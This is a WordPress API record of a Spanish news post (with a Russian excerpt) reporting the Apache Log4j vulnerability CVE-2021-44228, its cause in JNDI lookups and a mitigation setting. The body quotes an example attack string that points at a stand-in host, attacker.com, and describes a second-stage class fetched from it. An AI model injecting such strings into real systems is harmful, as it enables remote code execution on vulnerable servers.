{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Vulnerabilidad catastr\u00f3fica en Apache Log4j que afecta a muchos proyectos de Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

En Apache Log4j, un popular marco para la gesti\u00f3n de registros en aplicaciones Java, se ha identificado una vulnerabilidad cr\u00edtica que permite la ejecuci\u00f3n de c\u00f3digo arbitrario al registrar un valor formateado espec\u00edficamente en el formato \u00ab{jndi:URL}\u00bb. El ataque puede dirigirse a aplicaciones Java que registran en el log valores obtenidos de fuentes externas, por ejemplo, al mostrar valores problem\u00e1ticos en mensajes de error. <\/p>\n

Se observa que casi todos los proyectos que utilizan marcos como Apache Struts, Apache Solr, Apache Druid o Apache Flink son vulnerables, incluidos Steam, Apple iCloud, clientes y servidores del juego Minecraft. Se espera que la vulnerabilidad cause una ola de ataques masivos a aplicaciones corporativas, repitiendo la historia de vulnerabilidades cr\u00edticas en el marco Apache Struts, que se estima se utiliza en el 65% de las aplicaciones web de las empresas de la lista Fortune 100. Adem\u00e1s, ya se han registrado intentos de escanear la red en busca de sistemas vulnerables. <\/p>\n

El problema se agrava ya que se ha publicado un exploit funcional, pero las correcciones para las ramas estables no se han formulado en este momento. A\u00fan no se ha asignado un identificador CVE. La correcci\u00f3n se incluye solo en la rama de prueba log4j-2.15.0-rc1. Como soluci\u00f3n alternativa para bloquear la vulnerabilidad, se recomienda establecer el par\u00e1metro log4j2.formatMsgNoLookups en true. <\/p>\n

El problema fue causado por el hecho de que log4j admite el manejo de m\u00e1scaras especiales \u00ab{}\u00bb en las cadenas registradas, donde se pod\u00edan ejecutar consultas JNDI (Java Naming and Directory Interface). El ataque consiste en enviar una cadena con la sustituci\u00f3n \u00ab${jndi:ldap:\/\/attacker.com\/a}\u00bb, al procesar la cual log4j enviar\u00e1 a servidor<\/a> attacker.com una consulta LDAP de la ruta a la clase de Java. La ruta devuelta el servidor<\/a> del atacante (por ejemplo, http:\/\/second-stage.attacker.com\/Exploit.class) ser\u00e1 cargada y ejecutada en el contexto del proceso actual, lo que permite al atacante lograr la ejecuci\u00f3n de c\u00f3digo arbitrario en el sistema con los derechos de la aplicaci\u00f3n actual. <\/p>\n

Adici\u00f3n 1: Se ha asignado el identificador CVE-2021-44228 a la vulnerabilidad. <\/p>\n

Adici\u00f3n 2: Se ha descubierto una forma de eludir la protecci\u00f3n a\u00f1adida en la versi\u00f3n log4j-2.15.0-rc1. Se propone una nueva actualizaci\u00f3n log4j-2.15.0-rc2 con una protecci\u00f3n m\u00e1s completa contra la vulnerabilidad. En el c\u00f3digo se destaca un cambio relacionado con la falta de finalizaci\u00f3n abrupta en caso de usar una URL JNDI malformada.
\n
Fuente: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilidad catastr\u00f3fica en Apache Log4j que afecta a muchos proyectos Java | ProHoster","description":"En Apache Log4j, un popular marco para la gesti\u00f3n de registros en aplicaciones Java, se ha descubierto una vulnerabilidad cr\u00edtica que permite la ejecuci\u00f3n de c\u00f3digo arbitrario al registrar un valor especialmente dise\u00f1ado.","canonical_url":"https:\/\/prohoster.info\/es\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"es_ES","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache Log4j, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043c\u043d\u043e\u0433\u0438\u0435 Java-\u043f\u0440\u043e\u0435\u043a\u0442\u044b | ProHoster","og:description":"\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432.","og:url":"https:\/\/prohoster.info\/es\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-10T07:36:48+00:00","article:modified_time":"2021-12-10T07:36:48+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102562","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-10 07:37:47","updated":"2026-02-09 21:46:43","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts\/102562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/comments?post=102562"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts\/102562\/revisions"}],"predecessor-version":[{"id":172962,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts\/102562\/revisions\/172962"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/media?parent=102562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/categories?post=102562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/tags?post=102562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}